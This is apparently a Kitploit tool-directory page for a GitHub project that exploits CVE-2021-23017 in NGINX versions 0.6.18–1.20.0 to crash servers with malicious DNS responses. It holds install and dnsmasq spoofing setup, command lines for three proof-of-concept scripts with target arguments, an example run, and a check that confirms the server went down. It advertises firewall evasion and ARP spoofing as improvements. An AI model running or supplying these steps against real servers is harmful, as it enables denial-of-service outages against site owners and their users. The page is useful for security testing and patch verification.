Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
EVIL-CVE-2021-23017-Update-2025 — vulnerability in NGINX servers (versions 0.6.18–1.20.0). The scripts aim to cause a Denial of Service (DoS) by sending malicious DNS responses, with enhancements to bypass firewalls. | Kitploit
Tools/GitHubGitHub/6lj/evil-cve-2021-23017-update-2025
Vulnerability AnalysisExploitationWeb SecurityPenetration TestingDNS Analysis
GitHub6lj/evil-cve-2021-23017-update-2025

EVIL-CVE-2021-23017-Update-2025

vulnerability in NGINX servers (versions 0.6.18–1.20.0). The scripts aim to cause a Denial of Service (DoS) by sending malicious DNS responses, with enhancements to bypass firewalls.

View Repository
111 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

vulnerability in NGINX servers (versions 0.6.18–1.20.0). The scripts aim to cause a Denial of Service (DoS) by sending malicious DNS responses, with enhancements to bypass firewalls. This is an improved version of the original PoC from M507/CVE-2021-23017-PoC .

Warning: Use only with explicit written permission from the system owner. Unauthorized testing is illegal.

Requirements

  • Environment: Linux (e.g., Kali Linux, via Termux/virtualized setup).
  • Dependencies:
    root@kitploit:~
    sudo apt-get update
sudo apt-get install python3-scapy dnsmasq
pip3 install scapy requests
  • Network: Same subnet as the target for ARP spoofing, or the target NGINX must use your DNS server IP.

Installation

  1. Clone the repository:
    root@kitploit:~
    git clone https://github.com/6lj/EVIL-CVE-2021-23017-Update-2025.git
cd EVIL-CVE-2021-23017-Update-2025
  2. Set up dnsmasq:
    root@kitploit:~
    sudo nano /etc/dnsmasq.conf
    Add:
    root@kitploit:~
    Start:
address=/test.example.com/192.168.1.100
root@kitploit:~
sudo systemctl start dnsmasq

What It Does

  • Sends malicious DNS responses with a long domain name (AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.test.com) to crash the NGINX server.
  • Triggers DNS queries using curl and dig to exploit the vulnerability.
  • Bypasses firewalls by sending direct DNS packets and using parallel processes.

Differences from Original

Compared to M507/CVE-2021-23017-PoC:

  • Enhanced Firewall Bypass: Uses parallel processes in poc1.2.3.py for simultaneous sniffing, DNS sending, and query triggering , you must Run the three together.
  • Optimized Packet Delivery: Higher frequency of packets and queries to evade firewall filters.
  • Subnet Checking: Verifies network compatibility for ARP spoofing, improving reliability.

Usage

Run the three together and Run with appropriate arguments (replace <target_ip>, <your_dns_server_ip>, <target_url>).

poc.py

root@kitploit:~
python3 poc.py --dns_server <your_dns_server_ip> --iface eth0 --count 50 --target_url http://<target_url>
  • Sniffs and responds to DNS queries.

poc2.py

root@kitploit:~
python3 poc2.py --target <target_ip> --dns_server <your_dns_server_ip> --iface eth0 --count 50 --target_url http://<target_url>
  • Adds direct DNS sending and query triggering.

poc3.py (Recommended)

root@kitploit:~
python3 poc3.py --target <target_ip> --dns_server <your_dns_server_ip> --iface eth0 --target_url http://<target_url>
  • Runs tasks in parallel for maximum efficiency.

Example

root@kitploit:~
python3 poc3.py --target 192.168.1.100 --dns_server 192.168.1.101 --iface eth0 --target_url http://192.168.1.100

Verify Results

  • Check server status:

    root@kitploit:~
    curl -I http://<target_url>
    • Success: 502 Bad Gateway or 503 Service Unavailable indicates a server crash.
    • Failure: 200 OK suggests no vulnerability or firewall blocking.

  • Monitor DNS traffic:

    root@kitploit:~
    sudo wireshark -f "udp port 53"

Disclaimer: For educational purposes only. Authors are not responsible for misuse.

Download Tool